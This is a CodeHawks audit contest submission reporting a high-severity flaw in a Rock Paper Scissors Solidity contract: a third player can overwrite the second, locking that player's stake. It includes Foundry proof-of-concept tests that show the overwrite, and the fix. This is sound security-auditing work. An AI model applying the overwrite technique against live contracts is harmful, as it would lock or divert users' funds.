Rock Paper Scissors

First Flight #38

Beginner FriendlySolidity

100 EXP

View results

Previous Next

Submission Details

Severity: high

Valid

[H-1] Missing Access Control in `joinGameWithEth` and `joinGameWithToken` Functions

sauron22

Summary

The joinGameWithEth and joinGameWithToken functions do not validate whether a second player has already joined the game. This allows a third player (Player C) to overwrite the address of the second player (Player B), causing Player B's funds to be permanently locked in the contract.

Vulnerability Details

When Player B joins a game by calling joinGameWithEth or joinGameWithToken, they send ETH or tokens to the contract. However, neither function checks if game.playerB is already set before overwriting it. If Player C subsequently calls the same function for the same game, Player C's address will replace Player B's address as the second player.

This creates a situation where:

Player B's funds are locked in the contract
Player B cannot participate in the game they paid to join
There is no mechanism to recover Player B's funds

function joinGameWithEth(uint256 _gameId) external payable {

Game storage game = games[_gameId];

require(game.state == GameState.Created, "Game not open to join");

require(game.playerA != msg.sender, "Cannot join your own game");

require(block.timestamp <= game.joinDeadline, "Join deadline passed");

require(msg.value == game.bet, "Bet amount must match creator's bet");

// Missing check: require(game.playerB == address(0), "Game already has a second player");

game.playerB = msg.sender;

emit PlayerJoined(_gameId, msg.sender);

}

Impact

High - This vulnerability leads to direct loss of user funds with no recovery mechanism. Player B's ETH or tokens become permanently locked in the contract with no way to retrieve them, causing permanent financial damage to affected users.

Likelihood

High - Any user can exploit this vulnerability easily, as it requires no special knowledge or tools. The issue is built into the core game mechanics and will trigger whenever a malicious actor attempts to join an already-joined game.

According to the CodeHawks risk matrix, this vulnerability has a High severity rating (High impact + High likelihood = High).

Proof of Concept

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import "../src/RockPaperScissors.sol";

import "../src/WinningToken.sol";

contract RockPaperScissorsVulnTest is Test {

RockPaperScissors public game;

WinningToken public token;

address public admin;

address public playerA;

address public playerB;

address public playerC; // Malicious player

uint256 constant BET_AMOUNT = 0.1 ether;

uint256 constant TIMEOUT = 10 minutes;

uint256 constant TOTAL_TURNS = 1; // Single turn for simplicity

function setUp() public {

// Set up addresses

admin = address(this);

playerA = makeAddr("playerA");

playerB = makeAddr("playerB");

playerC = makeAddr("playerC");

// Fund the players

vm.deal(playerA, 10 ether);

vm.deal(playerB, 10 ether);

vm.deal(playerC, 10 ether);

// Deploy contracts

game = new RockPaperScissors();

token = WinningToken(game.winningToken());

// Mint tokens for testing token games

vm.prank(address(game));

token.mint(playerA, 10);

vm.prank(address(game));

token.mint(playerB, 10);

vm.prank(address(game));

token.mint(playerC, 10);

}

// Complete game scenario where PlayerC overwrites PlayerB and wins

function testPlayerBFundsLockedPlayerCWins() public {

vm.txGasPrice(0);

// 1. Player A creates a game with ETH

uint256 playerAInitialBalance = playerA.balance;

uint256 playerBInitialBalance = playerB.balance;

uint256 playerCInitialBalance = playerC.balance;

vm.prank(playerA);

uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);

// Record initial balances

uint256 initialContractBalance = address(game).balance;

// 2. Player B joins the game (funds transferred to contract)

vm.prank(playerB);

game.joinGameWithEth{value: BET_AMOUNT}(gameId);

// Confirm Player B's funds are in the contract

assertEq(address(game).balance, initialContractBalance + BET_AMOUNT);

assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);

// 3. Player C maliciously overwrites Player B (more funds to contract)

vm.prank(playerC);

game.joinGameWithEth{value: BET_AMOUNT}(gameId);

// Confirm Player C is now registered as player B

(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);

assertEq(storedPlayerB, playerC);

// Contract now has both Player B and Player C's funds

assertEq(address(game).balance, initialContractBalance + BET_AMOUNT + BET_AMOUNT);

assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT);

// 4. Player A commits move (Rock)

bytes32 saltA = keccak256(abi.encodePacked("saltA"));

bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));

vm.prank(playerA);

game.commitMove(gameId, commitA);

// 5. Player C commits move (Paper - will beat Rock)

bytes32 saltC = keccak256(abi.encodePacked("saltC"));

bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltC));

vm.prank(playerC);

game.commitMove(gameId, commitC);

// Now both players have committed - reveal deadline is set

// 6. Players reveal their moves

vm.prank(playerA);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);

vm.prank(playerC);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltC);

// 7. Verify game completion and prize distribution

(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);

assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));

assertEq(scoreB, 1); // Player C (registered as playerB) won

// Calculate expected prize (90% of total pot)

uint256 totalPot = BET_AMOUNT * 2; // Player A + Player C bets

uint256 fee = (totalPot * 10) / 100;

uint256 expectedPrize = totalPot - fee;

// 8. Verify Player C received the prize

assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT + expectedPrize);

// 9. Verify Player A didn't receive anything (lost the game)

assertEq(playerA.balance, playerAInitialBalance - BET_AMOUNT);

// 10. CRITICAL: Verify Player B's funds are still locked in the contract

assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);

// Contract should still have Player B's funds + protocol fee

uint256 expectedContractBalance = BET_AMOUNT + fee;

assertEq(address(game).balance, expectedContractBalance);

}

// Alternative scenario with a tie game

function testTieGamePlayerBFundsStillLocked() public {

// Record initial balances

uint256 playerAInitialBalance = playerA.balance;

uint256 playerBInitialBalance = playerB.balance;

uint256 playerCInitialBalance = playerC.balance;

// 1. Player A creates a game with ETH

vm.prank(playerA);

uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);

// 2. Player B joins the game

vm.prank(playerB);

game.joinGameWithEth{value: BET_AMOUNT}(gameId);

// 3. Player C maliciously overwrites Player B

vm.prank(playerC);

game.joinGameWithEth{value: BET_AMOUNT}(gameId);

// 4. Both players commit Rock (for a tie)

bytes32 saltA = keccak256(abi.encodePacked("saltA"));

bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));

vm.prank(playerA);

game.commitMove(gameId, commitA);

bytes32 saltC = keccak256(abi.encodePacked("saltC"));

bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltC));

vm.prank(playerC);

game.commitMove(gameId, commitC);

// 5. Both players reveal

vm.prank(playerA);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);

vm.prank(playerC);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltC);

// 6. Verify game completion and tie result

(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);

assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));

assertEq(scoreB, 0); // Tie game

// Calculate expected refunds for tie (each gets 45% back)

uint256 totalPot = BET_AMOUNT * 2; // Player A + Player C bets

uint256 fee = (totalPot * 10) / 100;

uint256 refundPerPlayer = (totalPot - fee) / 2;

// 7. Verify Player A and Player C each received their refunds

assertEq(playerA.balance, playerAInitialBalance - BET_AMOUNT + refundPerPlayer);

assertEq(playerC.balance, playerCInitialBalance - BET_AMOUNT + refundPerPlayer);

// 8. CRITICAL: Verify Player B's funds are still locked

assertEq(playerB.balance, playerBInitialBalance - BET_AMOUNT);

// Contract should still have Player B's funds + protocol fee

uint256 expectedContractBalance = BET_AMOUNT + fee;

assertEq(address(game).balance, expectedContractBalance);

}

// Token game scenario where PlayerC overwrites PlayerB and wins

function testTokenPlayerBFundsLockedPlayerCWins() public {

// Record initial token balances

uint256 playerAInitialTokens = token.balanceOf(playerA);

uint256 playerBInitialTokens = token.balanceOf(playerB);

uint256 playerCInitialTokens = token.balanceOf(playerC);

// 1. Player A creates a game with token

vm.startPrank(playerA);

token.approve(address(game), 1);

uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);

vm.stopPrank();

uint256 initialContractTokens = token.balanceOf(address(game));

// 2. Player B joins the game with token

vm.startPrank(playerB);

token.approve(address(game), 1);

game.joinGameWithToken(gameId);

vm.stopPrank();

// Confirm Player B's token is in the contract

assertEq(token.balanceOf(address(game)), initialContractTokens + 1);

assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);

// 3. Player C maliciously overwrites Player B

vm.startPrank(playerC);

token.approve(address(game), 1);

game.joinGameWithToken(gameId);

vm.stopPrank();

// Confirm Player C is now registered as player B

(, address storedPlayerB,,,,,,,,,,,,,,) = game.games(gameId);

assertEq(storedPlayerB, playerC);

// Contract now has Player A, B, and C's tokens

assertEq(token.balanceOf(address(game)), initialContractTokens + 2);

assertEq(token.balanceOf(playerC), playerCInitialTokens - 1);

// 4. Player A commits move (Rock)

bytes32 saltA = keccak256(abi.encodePacked("saltA"));

bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));

vm.prank(playerA);

game.commitMove(gameId, commitA);

// 5. Player C commits move (Paper - will beat Rock)

bytes32 saltC = keccak256(abi.encodePacked("saltC"));

bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltC));

vm.prank(playerC);

game.commitMove(gameId, commitC);

// 6. Players reveal their moves

vm.prank(playerA);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);

vm.prank(playerC);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltC);

// 7. Verify game completion and prize distribution

(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);

assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));

assertEq(scoreB, 1); // Player C (registered as playerB) won

// 8. Verify Player C received 2 tokens as prize

assertEq(token.balanceOf(playerC), playerCInitialTokens - 1 + 2); // Initial - 1 locked + 2 prize (minted)

// 9. Verify Player A didn't receive tokens (lost the game)

assertEq(token.balanceOf(playerA), playerAInitialTokens - 1);

// 10. CRITICAL: Verify Player B's token is still locked

assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);

// Contract should have 3 tokens after game completion (from player A, B, C)

// Player B's token is locked forever

assertEq(token.balanceOf(address(game)), 3);

}

// Token game with tie scenario

function testTokenTieGamePlayerBFundsStillLocked() public {

// Record initial token balances

uint256 playerAInitialTokens = token.balanceOf(playerA);

uint256 playerBInitialTokens = token.balanceOf(playerB);

uint256 playerCInitialTokens = token.balanceOf(playerC);

// 1. Player A creates a game with token

vm.startPrank(playerA);

token.approve(address(game), 1);

uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);

vm.stopPrank();

// 2. Player B joins the game with token

vm.startPrank(playerB);

token.approve(address(game), 1);

game.joinGameWithToken(gameId);

vm.stopPrank();

// 3. Player C maliciously overwrites Player B

vm.startPrank(playerC);

token.approve(address(game), 1);

game.joinGameWithToken(gameId);

vm.stopPrank();

// 4. Both players commit Rock (for a tie)

bytes32 saltA = keccak256(abi.encodePacked("saltA"));

bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));

vm.prank(playerA);

game.commitMove(gameId, commitA);

bytes32 saltC = keccak256(abi.encodePacked("saltC"));

bytes32 commitC = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltC));

vm.prank(playerC);

game.commitMove(gameId, commitC);

// 5. Both players reveal

vm.prank(playerA);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);

vm.prank(playerC);

game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltC);

// 6. Verify game completion and tie result

(,,,,,,,,,,,,,, uint8 scoreB, RockPaperScissors.GameState state) = game.games(gameId);

assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));

assertEq(scoreB, 0); // Tie game

// 7. Verify Player A and Player C each received 1 token back

assertEq(token.balanceOf(playerA), playerAInitialTokens); // -1 staked + 1 returned = back to initial

assertEq(token.balanceOf(playerC), playerCInitialTokens); // -1 staked + 1 returned = back to initial

// 8. CRITICAL: Verify Player B's token is still gone

assertEq(token.balanceOf(playerB), playerBInitialTokens - 1);

// Contract should have 0 tokens after game completion

assertEq(token.balanceOf(address(game)), 3);

}

Tools Used

Manual code review and custom unit tests.

Recommendations

Add a check to ensure game.playerB is not already set:

function joinGameWithEth(uint256 _gameId) external payable {

Game storage game = games[_gameId];

require(game.state == GameState.Created, "Game not open to join");

require(game.playerA != msg.sender, "Cannot join your own game");

require(block.timestamp <= game.joinDeadline, "Join deadline passed");

require(msg.value == game.bet, "Bet amount must match creator's bet");

require(game.playerB == address(0), "Game already has a second player");

game.playerB = msg.sender;

emit PlayerJoined(_gameId, msg.sender);

}

Add the same check to joinGameWithToken.

Updates

Appeal created

m3dython Lead Judge about 2 months ago

Submission Judgement Published

Validated

Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Rewards breakdown

nSLOC

349

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.